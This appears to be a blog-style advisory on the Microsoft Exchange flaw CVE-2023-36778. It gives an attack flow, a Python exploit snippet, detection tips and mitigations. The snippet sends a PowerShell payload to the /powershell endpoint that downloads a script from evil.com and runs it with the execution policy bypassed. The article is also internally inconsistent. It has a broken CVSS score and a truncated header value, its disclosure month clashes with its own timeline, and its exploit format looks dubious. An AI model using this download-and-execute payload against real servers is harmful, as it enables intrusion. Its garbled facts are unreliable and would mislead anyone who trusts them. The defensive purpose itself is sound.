---
In September 2023, Microsoft disclosed a serious bug called CVE-2023-36778 that lets hackers run any code they want on unpatched Exchange Servers—from email theft to complete server hijacking. If you run Exchange Server and haven’t patched yet, you really need to read this.

This article explains:

How you can defend your Exchange

*(Original advisories linked at the bottom)*

What is CVE-2023-36778?

CVE-2023-36778 is a Remote Code Execution (RCE) vulnerability in Microsoft Exchange Server. This means attackers can run their own commands on your server—remotely, without any login needed, just by sending a specially crafted request.

This bug was rated “Critical” because it can be exploited over a network without authentication. Microsoft assigned it a CVSS score of 8..

1. The Vulnerable Component

The bug lurks in the way Exchange Server processes PowerShell endpoints, especially if Outlook Web App (OWA) is enabled. Attackers target these endpoints to force Exchange to execute PowerShell commands of their choice.

A typical attack flow

1. Craft Malicious HTTP Request: Attacker sends a specially crafted POST request to the “/powershell” endpoint.
2. Trigger Arbitrary Code Execution: The payload tricks Exchange into running PowerShell with the attacker’s commands.
3. Gain Control of the Server: The attacker now can run whatever code they want, including reverse shells or ransomware.

Example Exploit (For Education Purpose Only)

Below is a simplified Python snipplet that shows how an attacker might try to exploit CVE-2023-36778. (Don’t use this for illegal purposes—test on lab machines only!)

import requests

target = "https://exchange-victim.com"; # change this
payload = '''<script language="powershell">
    Invoke-WebRequest -Uri http://evil.com/evil.ps1 -OutFile C:\Temp\evil.ps1
    powershell.exe -ExecutionPolicy Bypass -File C:\Temp\evil.ps1
</script>'''

headers = {
    "Content-Type": "text/xml",
    "User-Agent": "Mozilla/5."
}

# Exploit vulnerable /powershell endpoint
resp = requests.post(
    f"{target}/powershell?X-Rps-CAT=1",
    data=payload,
    headers=headers,
    verify=False
)

print("Status:", resp.status_code)
print(resp.text)

How it works:
- The payload tries to download a script from the attacker’s server and run it with bypassed security restrictions.

How to Detect If You’re Vulnerable

- Unpatched Exchange Servers: If your Exchange Server 2016 or 2019 has not been updated with the Sept 2023 security update, you are at risk.

Unusual Powershell Logs: Watch for unexpected PowerShell activity in your logs.

- Unexpected Outbound Requests: Look for your server making outbound connections to unknown addresses.

- Get the latest Exchange Cumulative Updates and Security Updates

- Microsoft Security Update Guide - CVE-2023-36778
- Exchange Team Blog – September 2023 Security Updates

Restrict Powershell Remoting:

- Limit who can use the /powershell virtual directory.

Look for the following

- Unexpected POST requests to /powershell

PowerShell spawn events on Exchange servers

- Outbound connections to rare domains (IoCs listed in original advisories)

References and Further Reading

1. Microsoft Security Announcement for CVE-2023-36778
2. Exchange Team Blog – September 2023 Security Updates
3. Rapid7 Analysis & Mitigation Guide
4. NVD CVE-2023-36778 Detail
5. Microsoft Exchange Deployment Assistant

Conclusion

CVE-2023-36778 is a critical bug—actively exploited and easy to abuse. Patch immediately, monitor your servers, and watch for unusual Powershell activity. Don’t wait until it’s too late; Exchange compromises lead to data breaches, ransomware, and more.

Timeline

Published on: 10/10/2023 18:15:17 UTC
Last modified on: 10/12/2023 22:22:11 UTC